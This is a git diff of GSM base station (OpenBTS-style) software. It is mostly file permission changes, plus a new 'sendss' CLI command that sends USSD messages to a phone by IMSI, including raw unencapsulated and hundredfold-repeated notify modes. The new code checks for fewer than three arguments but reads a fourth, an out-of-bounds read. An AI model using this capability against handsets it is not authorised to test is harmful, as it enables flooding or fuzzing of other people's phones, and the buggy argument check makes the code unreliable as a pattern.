GSM/GSMCommon.h mode change 100644 => 100755 GSM/GSMConfig.cpp mode change 100644 => 100755 GSM/GSMConfig.h mode change 100644 => 100755 GSM/GSML1FEC.cpp mode change 100644 => 100755 GSM/GSML1FEC.h mode change 100644 => 100755 GSM/GSML2LAPDm.cpp mode change 100644 => 100755 GSM/GSML2LAPDm.h mode change 100644 => 100755 GSM/GSML3CCElements.cpp mode change 100644 => 100755 GSM/GSML3CCElements.h mode change 100644 => 100755 GSM/GSML3CCMessages.cpp mode change 100644 => 100755 GSM/GSML3CCMessages.h mode change 100644 => 100755 GSM/GSML3CommonElements.cpp mode change 100644 => 100755 GSM/GSML3CommonElements.h mode change 100644 => 100755 GSM/GSML3GPRSElements.cpp mode change 100644 => 100755 GSM/GSML3GPRSElements.h mode change 100644 => 100755 GSM/GSML3MMElements.cpp mode change 100644 => 100755 GSM/GSML3MMElements.h mode change 100644 => 100755 GSM/GSML3MMMessages.cpp mode change 100644 => 100755 GSM/GSML3MMMessages.h mode change 100644 => 100755 GSM/GSML3Message.cpp mode change 100644 => 100755 GSM/GSML3Message.h mode change 100644 => 100755 GSM/GSML3RRElements.cpp mode change 100644 => 100755 GSM/GSML3RRElements.h mode change 100644 => 100755 GSM/GSML3RRMessages.cpp mode change 100644 => 100755 GSM/GSML3RRMessages.h mode change 100644 => 100755 GSM/GSML3SSMessages.cpp mode change 100644 => 100755 GSM/GSML3SSMessages.h mode change 100644 => 100755 GSM/GSMLogicalChannel.cpp mode change 100644 => 100755 GSM/GSMLogicalChannel.h mode change 100644 => 100755 GSM/GSMRadioResource.cpp mode change 100644 => 100755 GSM/GSMRadioResource.h mode change 100644 => 100755 GSM/GSMSMSCBL3Messages.cpp mode change 100644 => 100755 GSM/GSMSMSCBL3Messages.h mode change 100644 => 100755 GSM/GSMTAPDump.cpp mode change 100644 => 100755 GSM/GSMTAPDump.h mode change 100644 => 100755 GSM/GSMTDMA.cpp mode change 100644 => 100755 GSM/GSMTDMA.h mode change 100644 => 100755 GSM/GSMTransfer.cpp mode change 100644 => 100755 GSM/GSMTransfer.h mode change 100644 => 100755 GSM/Makefile.am mode change 100644 => 100755 GSM/PhysicalStatus.cpp mode change 100644 => 100755 GSM/PhysicalStatus.h mode change 100644 => 100755 GSM/PowerManager.cpp mode change 100644 => 100755 GSM/PowerManager.h mode change 100644 => 100755 GSM/gsmtap.h mode change 100644 => 100755 GSMShare/A51.cpp mode change 100644 => 100755 GSMShare/A51.h mode change 100644 => 100755 GSMShare/A51Test.cpp mode change 100644 => 100755 GSMShare/AMRTest.cpp mode change 100644 => 100755 GSMShare/AmrCoder.cpp mode change 100644 => 100755 GSMShare/AmrCoder.h mode change 100644 => 100755 GSMShare/GSM503Tables.cpp mode change 100644 => 100755 GSMShare/GSM503Tables.h mode change 100644 => 100755 GSMShare/L3Enums.cpp mode change 100644 => 100755 GSMShare/L3Enums.h mode change 100644 => 100755 GSMShare/Makefile.am mode change 100644 => 100755 GSMShare/Viterbi.h mode change 100644 => 100755 GSMShare/ViterbiR204.cpp mode change 100644 => 100755 GSMShare/ViterbiR204.h mode change 100644 => 100755 GSMShare/ViterbiTest.cpp mode change 100644 => 100755 Globals/GlobalVars.cpp mode change 100644 => 100755 Globals/Globals.cpp mode change 100644 => 100755 Globals/Globals.h mode change 100644 => 100755 Globals/Makefile.am mode change 100644 => 100755 INSTALL mode change 100644 => 100755 INSTALLATION mode change 100644 => 100755 LEGAL mode change 100644 => 100755 Makefile.am mode change 100644 => 100755 Makefile.common mode change 100644 => 100755 NEWS mode change 100644 => 100755 Peering/Makefile.am mode change 100644 => 100755 Peering/NeighborTable.cpp mode change 100644 => 100755 Peering/NeighborTable.h mode change 100644 => 100755 Peering/Peering.cpp mode change 100644 => 100755 Peering/Peering.h mode change 100644 => 100755 README mode change 100644 => 100755 README.APIs.md mode change 100644 => 100755 SGSNGGSN/GPRSL3Messages.cpp mode change 100644 => 100755 SGSNGGSN/GPRSL3Messages.h mode change 100644 => 100755 SGSNGGSN/Ggsn.cpp mode change 100644 => 100755 SGSNGGSN/Ggsn.h mode change 100644 => 100755 SGSNGGSN/LLC.cpp mode change 100644 => 100755 SGSNGGSN/LLC.h mode change 100644 => 100755 SGSNGGSN/Makefile.am mode change 100644 => 100755 SGSNGGSN/Sgsn.cpp mode change 100644 => 100755 SGSNGGSN/Sgsn.h mode change 100644 => 100755 SGSNGGSN/SgsnBase.h mode change 100644 => 100755 SGSNGGSN/SgsnCli.cpp mode change 100644 => 100755 SGSNGGSN/SgsnExport.h mode change 100644 => 100755 SGSNGGSN/iputils.cpp mode change 100644 => 100755 SGSNGGSN/miniggsn.cpp mode change 100644 => 100755 SGSNGGSN/miniggsn.h mode change 100644 => 100755 SIP/Makefile.am mode change 100644 => 100755 SIP/SIP2Interface.cpp mode change 100644 => 100755 SIP/SIP2Interface.h mode change 100644 => 100755 SIP/SIPBNF.txt mode change 100644 => 100755 SIP/SIPBase.cpp mode change 100644 => 100755 SIP/SIPBase.h mode change 100644 => 100755 SIP/SIPDialog.cpp mode change 100644 => 100755 SIP/SIPDialog.h mode change 100644 => 100755 SIP/SIPExport.h mode change 100644 => 100755 SIP/SIPMessage.cpp mode change 100644 => 100755 SIP/SIPMessage.h mode change 100644 => 100755 SIP/SIPParse.cpp mode change 100644 => 100755 SIP/SIPParse.h mode change 100644 => 100755 SIP/SIPRtp.cpp mode change 100644 => 100755 SIP/SIPRtp.h mode change 100644 => 100755 SIP/SIPTransaction.cpp mode change 100644 => 100755 SIP/SIPTransaction.h mode change 100644 => 100755 SIP/SIPUtility.cpp mode change 100644 => 100755 SIP/SIPUtility.h mode change 100644 => 100755 SMS/Makefile.am mode change 100644 => 100755 SMS/SMSMessages.cpp mode change 100644 => 100755 SMS/SMSMessages.h mode change 100644 => 100755 SMS/SMSTransfer.cpp mode change 100644 => 100755 SMS/SMSTransfer.h mode change 100644 => 100755 Scanning/Makefile.am mode change 100644 => 100755 Scanning/Scanning.cpp mode change 100644 => 100755 Scanning/Scanning.h mode change 100644 => 100755 TRXManager/Makefile.am mode change 100644 => 100755 TRXManager/README.TRXManager mode change 100644 => 100755 TRXManager/TRXManager.cpp mode change 100644 => 100755 TRXManager/TRXManager.h mode change 100644 => 100755 Transceiver52M/Complex.h mode change 100644 => 100755 Transceiver52M/DummyLoad.cpp mode change 100644 => 100755 Transceiver52M/DummyLoad.h mode change 100644 => 100755 Transceiver52M/Makefile.am mode change 100644 => 100755 Transceiver52M/README mode change 100644 => 100755 Transceiver52M/README.DFEsymbolspaced mode change 100644 => 100755 Transceiver52M/README.Talgorithm mode change 100644 => 100755 Transceiver52M/Resampler.cpp mode change 100644 => 100755 Transceiver52M/Resampler.h mode change 100644 => 100755 Transceiver52M/Transceiver.cpp mode change 100644 => 100755 Transceiver52M/Transceiver.h mode change 100644 => 100755 Transceiver52M/UHDDevice.cpp mode change 100644 => 100755 Transceiver52M/USRPDevice.cpp mode change 100644 => 100755 Transceiver52M/USRPDevice.h mode change 100644 => 100755 Transceiver52M/convert.c mode change 100644 => 100755 Transceiver52M/convert.h mode change 100644 => 100755 Transceiver52M/convolve.c mode change 100644 => 100755 Transceiver52M/convolve.h mode change 100644 => 100755 Transceiver52M/inband-signaling-usb mode change 100644 => 100755 Transceiver52M/laurent.m mode change 100644 => 100755 Transceiver52M/pulseApproximate.m mode change 100644 => 100755 Transceiver52M/radioClock.cpp mode change 100644 => 100755 Transceiver52M/radioClock.h mode change 100644 => 100755 Transceiver52M/radioDevice.h mode change 100644 => 100755 Transceiver52M/radioInterface.cpp mode change 100644 => 100755 Transceiver52M/radioInterface.h mode change 100644 => 100755 Transceiver52M/radioInterfaceResamp.cpp mode change 100644 => 100755 Transceiver52M/radioVector.cpp mode change 100644 => 100755 Transceiver52M/radioVector.h mode change 100644 => 100755 Transceiver52M/runTransceiver.cpp mode change 100644 => 100755 Transceiver52M/sigProcLib.cpp mode change 100644 => 100755 Transceiver52M/sigProcLib.h mode change 100644 => 100755 TransceiverRAD1/Complex.h mode change 100644 => 100755 TransceiverRAD1/DummyLoad.cpp mode change 100644 => 100755 TransceiverRAD1/DummyLoad.h mode change 100644 => 100755 TransceiverRAD1/FactoryCalibration.cpp mode change 100644 => 100755 TransceiverRAD1/FactoryCalibration.h mode change 100644 => 100755 TransceiverRAD1/Makefile.am mode change 100644 => 100755 TransceiverRAD1/PowerScanner.cpp mode change 100644 => 100755 TransceiverRAD1/RAD1Cmd.cpp mode change 100644 => 100755 TransceiverRAD1/RAD1Device.cpp mode change 100644 => 100755 TransceiverRAD1/RAD1Device.h mode change 100644 => 100755 TransceiverRAD1/RAD1RxRawPower.cpp mode change 100644 => 100755 TransceiverRAD1/RAD1RxRawPowerSweep.cpp mode change 100644 => 100755 TransceiverRAD1/RAD1SN.cpp mode change 100644 => 100755 TransceiverRAD1/RAD1ping.cpp mode change 100644 => 100755 TransceiverRAD1/README mode change 100644 => 100755 TransceiverRAD1/README.DFEsymbolspaced mode change 100644 => 100755 TransceiverRAD1/README.Talgorithm mode change 100644 => 100755 TransceiverRAD1/Transceiver.cpp mode change 100644 => 100755 TransceiverRAD1/Transceiver.h mode change 100644 => 100755 TransceiverRAD1/ad9862.h mode change 100644 => 100755 TransceiverRAD1/bytesex.h mode change 100644 => 100755 TransceiverRAD1/commands.h mode change 100644 => 100755 TransceiverRAD1/ezusb.ihx mode change 100644 => 100755 TransceiverRAD1/fpga.rbf mode change 100644 => 100755 TransceiverRAD1/fpga/README.RAD1 mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/chan_fifo_reader.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/channel_demux.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/channel_ram.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/cmd_reader.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/data_packet_fifo.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/packet_builder.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/register_io.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/rx_buffer_inband.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/test_comparator.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/tx_buffer_inband.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/tx_packer.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/usb_fifo_reader.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/usb_fifo_writer.v mode change 100644 => 100755 TransceiverRAD1/fpga/inband_lib/usb_packet_fifo.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/accum32.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/accum32.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/accum32.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/accum32.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/accum32_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/accum32_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/add32.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/add32.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/add32.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/add32.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/add32_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/add32_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/addsub16.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/addsub16.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/addsub16.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/addsub16.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/addsub16_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/addsub16_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/bustri.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/bustri.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/bustri.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/bustri.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/bustri_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/bustri_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/clk_doubler.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/clk_doubler_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/dspclkpll.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/dspclkpll_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_1kx16.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_1kx16.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_1kx16.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_1kx16.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_1kx16_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_1kx16_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_2k.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_2k_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4k.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4k_18.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4k_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4kx16_dc.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4kx16_dc_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/fifo_4kx16_dc_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/mylpm_addsub.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/mylpm_addsub.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/mylpm_addsub.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/mylpm_addsub.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/mylpm_addsub_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/mylpm_addsub_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/pll.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/pll_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/pll_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/sub32.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/sub32.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/sub32.inc mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/sub32.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/sub32_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/megacells/sub32_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/bustri.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_1c_1k.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_1c_2k.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_1c_4k.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_1k.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_2k.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_4k.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/fifo_4k_18.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/pll.v mode change 100644 => 100755 TransceiverRAD1/fpga/models/ssram.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/adc_interface.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/atr_delay.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/bidir_reg.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/cic_dec_shifter.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/cic_decim.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/cic_int_shifter.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/cic_interp.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/clk_divider.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/cordic.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/cordic_stage.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/ddc.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/dpram.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/duc.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/ext_fifo.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.inc mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_1kx16_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.bsf mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.cmp mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.inc mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc_bb.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/fifo_4kx16_dc_inst.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/gen_cordic_consts.py mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/gen_sync.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/acc.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/coeff_rom.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/halfband_decim.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/halfband_interp.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/mac.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/mult.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/ram16_2port.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/ram16_2sum.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/hb/ram32_2sum.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/io_pins.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/master_control.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/master_control_multi.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/phase_acc.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/ram.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/ram16.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/ram32.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/ram64.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/rssi.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/rx_buffer.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/rx_chain.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/rx_chain_dual.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/rx_dcoffset.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/serial_io.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/setting_reg.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/setting_reg_masked.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/sign_extend.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/strobe_gen.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/tx_buffer.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/tx_chain.v mode change 100644 => 100755 TransceiverRAD1/fpga/sdr_lib/tx_chain_hb.v mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/include/common_config_1rxhb_1tx.vh mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/include/common_config_2rxhb_2tx.vh mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/include/common_config_bottom.vh mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/config.vh mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.csf mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.esf mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.pin mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.psf mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.qpf mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.qsf mode change 100644 => 100755 TransceiverRAD1/fpga/toplevel/usrp_inband_usb/usrp_inband_usb.v mode change 100644 => 100755 TransceiverRAD1/fpga_regs.h mode change 100644 => 100755 TransceiverRAD1/fusb.cpp mode change 100644 => 100755 TransceiverRAD1/fusb.h mode change 100644 => 100755 TransceiverRAD1/i2c.h mode change 100644 => 100755 TransceiverRAD1/ids.h mode change 100644 => 100755 TransceiverRAD1/inband-signaling-usb mode change 100644 => 100755 TransceiverRAD1/interfaces.h mode change 100644 => 100755 TransceiverRAD1/pulseApproximate.m mode change 100644 => 100755 TransceiverRAD1/radioDevice.h mode change 100644 => 100755 TransceiverRAD1/radioInterface.cpp mode change 100644 => 100755 TransceiverRAD1/radioInterface.h mode change 100644 => 100755 TransceiverRAD1/rnrad1.h mode change 100644 => 100755 TransceiverRAD1/rnrad1Core.cpp mode change 100644 => 100755 TransceiverRAD1/rnrad1Core.h mode change 100644 => 100755 TransceiverRAD1/rnrad1Rx.cpp mode change 100644 => 100755 TransceiverRAD1/rnrad1Tx.cpp mode change 100644 => 100755 TransceiverRAD1/runTransceiver.cpp mode change 100644 => 100755 TransceiverRAD1/sigProcLib.cpp mode change 100644 => 100755 TransceiverRAD1/sigProcLib.h mode change 100644 => 100755 TransceiverRAD1/sigProcLibTest.cpp mode change 100644 => 100755 TransceiverRAD1/spi.h mode change 100644 => 100755 apps/.gdbinit mode change 100644 => 100755 apps/GetConfigurationKeys.cpp mode change 100644 => 100755 apps/JSONEventsClient.cpp mode change 100644 => 100755 apps/Makefile.am mode change 100644 => 100755 apps/OpenBTS.cpp mode change 100644 => 100755 apps/OpenBTS.example.sql mode change 100644 => 100755 apps/OpenBTSCLI.cpp mode change 100644 => 100755 apps/OpenBTSConfig.h mode change 100644 => 100755 apps/iptables.rules mode change 100644 => 100755 apps/logrotated.OpenBTS mode change 100644 => 100755 apps/openbts.conf mode change 100644 => 100755 apps/rsyslogd.OpenBTS.conf mode change 100644 => 100755 config/Makefile.am mode change 100644 => 100755 config/ax_check_compile_flag.m4 mode change 100644 => 100755 config/ax_ext.m4 mode change 100644 => 100755 config/ax_gcc_x86_avx_xgetbv.m4 mode change 100644 => 100755 config/ax_gcc_x86_cpuid.m4 mode change 100644 => 100755 config/pkg.m4 mode change 100644 => 100755 config/test_ortp_version.cpp mode change 100644 => 100755 configure.ac mode change 100644 => 100755 ctags.sh mode change 100644 => 100755 debian/changelog mode change 100644 => 100755 debian/compat mode change 100644 => 100755 doc/CodingStandard mode change 100644 => 100755 doc/Makefile.am mode change 100644 => 100755 tools/Makefile.am mode change 100644 => 100755 tools/Makefile.standalone mode change 100644 => 100755 tools/README mode change 100644 => 100755 tools/hata.cpp diff --git a/AUTHORS b/AUTHORS old mode 100644 new mode 100755 diff --git a/CLI/CLI.cpp b/CLI/CLI.cpp old mode 100644 new mode 100755 diff --git a/CLI/CLI.h b/CLI/CLI.h old mode 100644 new mode 100755 diff --git a/CLI/CLIBase.cpp b/CLI/CLIBase.cpp old mode 100644 new mode 100755 diff --git a/CLI/CLICommands.cpp b/CLI/CLICommands.cpp old mode 100644 new mode 100755 index 74ab1db5..fc1be2aa --- a/CLI/CLICommands.cpp +++ b/CLI/CLICommands.cpp @@ -490,7 +490,6 @@ static CLIStatus sendsimple(int argc, char** argv, ostream& os) static CLIStatus sendsms(int argc, char** argv, ostream& os) { if (argc<4) return BAD_NUM_ARGS; - char *IMSI = argv[1]; char *srcAddr = argv[2]; string rest = ""; @@ -500,7 +499,6 @@ static CLIStatus sendsms(int argc, char** argv, ostream& os) os << "Invalid IMSI. Enter 15 digits only."; return BAD_VALUE; } - // We just use the IMSI, dont try to find a tmsi. FullMobileId msid(IMSI); Control::TranEntry *tran = Control::TranEntry::newMTSMS( @@ -514,6 +512,32 @@ static CLIStatus sendsms(int argc, char** argv, ostream& os) return SUCCESS; } +/** Submit an USSD for delivery to an IMSI on this BTS. */ +static CLIStatus sendss(int argc, char** argv, ostream& os) +{ + if (argc<3) return BAD_NUM_ARGS; + char *IMSI = argv[1]; + string rest = argv[2]; + string type = argv[3]; + if (!isIMSI(IMSI)) { + os << "Invalid IMSI. Enter 15 digits only."; + return BAD_VALUE; + } + + if(type[0] != '0' && type[0] != '1' && type[0] != '2'){ + os << "Type must be either 0 (Encapsulate msg as a unstructuredSSNotify type), 1 (EXPERT: Do not encapsulate msg. Send it as is), 2 (Notify x 100)\n"; + return BAD_VALUE; + } + + FullMobileId msid(IMSI); + Control::TranEntry *tran = Control::TranEntry::newMTSS( + msid, + rest, // message body + type); // 0, 1, 2 + Control::gMMLayer.mmAddMT(tran); + os << "USSD submitted for delivery" << endl; + return SUCCESS; +} /** Print current usage loads. */ static CLIStatus printStats(int argc, char** argv, ostream& os) @@ -1717,6 +1741,7 @@ void Parser::addCommands() addCommand("shutdown", nop, "[] -- shut down via upstart OpenBTS. If OpenBTS was not started via upstart, it is a no op."); addCommand("tmsis", tmsis, tmsisHelp); addCommand("sendsms", sendsms, "IMSI src# message... -- send direct SMS to IMSI on this BTS, addressed from source number src#."); + addCommand("sendss", sendss, "IMSI message type -- send direct MT USSD to IMSI on this BTS. Type must be either 0 (Encapsulate msg as a unstructuredSSNotify type), 1 (EXPERT: Do not encapsulate msg. Send it as is), 2 (Notify x 100)\n"); addCommand("sendsimple", sendsimple, "IMSI src# message... -- send SMS to IMSI via SIP interface, addressed from source number src#."); addCommand("load", printStats, "-- print the current activity loads."); addCommand("cellid", cellID, "[MCC MNC LAC CI] -- get/set location area identity (MCC, MNC, LAC) and cell ID (CI)."); diff --git a/CLI/CLIServer.cpp b/CLI/CLIServer.cpp old mode 100644 new mode 100755 index 9f6ff2fe..f642f2d9 --- a/CLI/CLIServer.cpp +++ b/CLI/CLIServer.cpp @@ -202,10 +202,10 @@ void Parser::cliServer() close(i); continue; // go to next socket } - if (len < (int) sizeof(len)) // should never get here + if (nread < (int) sizeof(len)) { - char buf[BUFSIZ]; - sprintf(buf, "Unable to read complete length, s.b. %d bytes, got %d bytes\n", sizeof(len), len); + char buf[BUFSIZ]; // should never get *here + sprintf(buf, "Unable to read complete length, should be %d bytes, got %d bytes\n", sizeof(len), nread); LOG(ERR) << buf; gReports.incr("OpenBTS.CLI.Command.ResponseFailure"); break; diff --git a/CLI/Makefile.am b/CLI/Makefile.am old mode 100644 new mode 100755 diff --git a/CLI/README.CLI b/CLI/README.CLI old mode 100644 new mode 100755 diff --git a/COPYING b/COPYING old mode 100644 new mode 100755 diff --git a/ChangeLog b/ChangeLog old mode 100644 new mode 100755 diff --git a/Control/CBS.cpp b/Control/CBS.cpp old mode 100644 new mode 100755 diff --git a/Control/CBS.h b/Control/CBS.h old mode 100644 new mode 100755 diff --git a/Control/CodecSet.h b/Control/CodecSet.h old mode 100644 new mode 100755 diff --git a/Control/ControlCommon.h b/Control/ControlCommon.h old mode 100644 new mode 100755 diff --git a/Control/ControlTransfer.cpp b/Control/ControlTransfer.cpp old mode 100644 new mode 100755 diff --git a/Control/ControlTransfer.h b/Control/ControlTransfer.h old mode 100644 new mode 100755 diff --git a/Control/DCCHDispatch.cpp b/Control/DCCHDispatch.cpp old mode 100644 new mode 100755 diff --git a/Control/L3CallControl.cpp b/Control/L3CallControl.cpp old mode 100644 new mode 100755 diff --git a/Control/L3CallControl.h b/Control/L3CallControl.h old mode 100644 new mode 100755 diff --git a/Control/L3Handover.cpp b/Control/L3Handover.cpp old mode 100644 new mode 100755 diff --git a/Control/L3Handover.h b/Control/L3Handover.h old mode 100644 new mode 100755 diff --git a/Control/L3LogicalChannel.cpp b/Control/L3LogicalChannel.cpp old mode 100644 new mode 100755 diff --git a/Control/L3LogicalChannel.h b/Control/L3LogicalChannel.h old mode 100644 new mode 100755 diff --git a/Control/L3MMLayer.cpp b/Control/L3MMLayer.cpp old mode 100644 new mode 100755 index 